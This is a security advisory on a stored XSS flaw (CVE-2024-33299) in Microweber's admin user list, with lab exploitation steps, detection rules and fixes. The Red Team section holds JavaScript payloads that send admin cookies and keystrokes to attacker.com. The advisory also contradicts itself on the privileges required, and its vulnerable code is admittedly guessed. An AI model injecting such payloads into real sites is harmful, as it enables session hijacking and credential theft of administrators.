CVE-2024-33299

Executive Summary

CVE-2024-33299 is a stored Cross-Site Scripting (XSS) vulnerability identified in Microweber version 2.0.9. The flaw resides in the user management module, specifically within the /admin/module/view?type=users endpoint. An authenticated attacker with administrative privileges can inject arbitrary JavaScript code via the "First Name" and "Last Name" parameters. This injected code is then stored and executed in the browsers of other administrators viewing the user list, leading to session hijacking, credential theft, or further administrative actions. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a network attack vector, low attack complexity, and required user interaction. No official patch has been released as of the latest analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need prior authentication to trigger the stored XSS, but the injection itself requires an admin account.
• User Interaction (UI): Required (R) – A victim administrator must view the user list page.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited modification of data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and lateral movement within the CMS makes this a significant risk for Microweber deployments.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the user profile management interface. Microweber 2.0.9 fails to properly sanitize user-supplied input in the "First Name" and "Last Name" fields when creating or editing a user. The application stores the unsanitized input in the database and later renders it in the HTML of the /admin/module/view?type=users page without proper encoding.

Attack Flow:

1. An attacker with administrative access navigates to the user management section.
2. The attacker creates a new user or edits an existing one, injecting a malicious payload into the "First Name" or "Last Name" field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the database.
4. When another administrator visits the user list page, the server retrieves the stored data and renders it directly into the HTML.
5. The victim's browser executes the injected script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

The root cause is the lack of output encoding or input validation on these specific fields. The application likely uses a function like echo $user['first_name']; without applying htmlspecialchars() or similar escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Microweber 2.0.9):

// In a view file (e.g., users_list.php)
<?php foreach ($users as $user): ?>
    <tr>
        <td><?php echo $user['first_name']; ?></td>
        <td><?php echo $user['last_name']; ?></td>
    </tr>
<?php endforeach; ?>

Patched Code (Hypothetical Fix):

<?php foreach ($users as $user): ?>
    <tr>
        <td><?php echo htmlspecialchars($user['first_name'], ENT_QUOTES, 'UTF-8'); ?></td>
        <td><?php echo htmlspecialchars($user['last_name'], ENT_QUOTES, 'UTF-8'); ?></td>
    </tr>
<?php endforeach; ?>

The fix applies htmlspecialchars() with ENT_QUOTES to encode both single and double quotes, preventing script injection. Additionally, input validation should be implemented to reject or sanitize HTML tags on the server side.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Microweber 2.0.9.
• Administrative credentials (e.g., admin:admin123).

Exploitation Steps:

1. Log in to the Microweber admin panel.
2. Navigate to Admin Panel -> Users -> Add New User.
3. In the "First Name" field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Fill in other required fields (e.g., Username, Email, Password) and save the user.
5. When another admin visits the user list (/admin/module/view?type=users), the script executes, sending their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection Steps:

1. Monitor web application logs for unusual characters in the first_name or last_name POST parameters (e.g., <script>, onerror=, javascript:).
2. Use a Web Application Firewall (WAF) to block requests containing <script> tags in these fields.
3. Implement Content Security Policy (CSP) headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
   

4. Regularly audit user accounts for suspicious names containing HTML or JavaScript.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the Microweber server.
  • POST requests to /admin/module/save with first_name or last_name containing <script> tags.
• File System IOCs:
  • Modified user entries in the database (e.g., users table) with HTML/JavaScript in first_name or last_name columns.
• Log IOCs:
  • Web server logs showing POST /admin/module/save with payloads like first_name=<script>alert(1)</script>.
• Behavioral IOCs:
  • Unexpected admin actions (e.g., new user creation, permission changes) originating from a single session.

Detection Engineering

YARA Rule

rule Detect_Microweber_XSS_Payload {
    meta:
        description = "Detects XSS payloads in Microweber user name fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33299"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['"]?[^'"]*['"]?/i
        $xss_javascript = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Microweber Stored XSS in User Name Fields
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS attempts in Microweber user creation/editing
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33299
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/module/save*'
        cs-uri-query|contains: 'first_name'
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-33299 Microweber Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/module/save"; http_uri; content:"first_name"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Microweber: Check for an updated version (e.g., 2.0.10 or later) that patches this vulnerability. If unavailable, apply the hypothetical fix described above.
2. Input Validation: Implement server-side validation to reject any input containing HTML tags in the first_name and last_name fields.
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering in the browser using htmlspecialchars() or a templating engine's auto-escaping feature.

Long-Term Measures:

1. Web Application Firewall (WAF): Deploy a WAF with rules to block XSS payloads.
2. Content Security Policy (CSP): Enforce a strict CSP to mitigate the impact of XSS.
3. Regular Security Audits: Conduct periodic code reviews and penetration testing.
4. User Education: Train administrators to recognize and report suspicious behavior.

Workaround:

• If patching is not immediately possible, restrict access to the admin panel using IP whitelisting or VPN.

Valters IT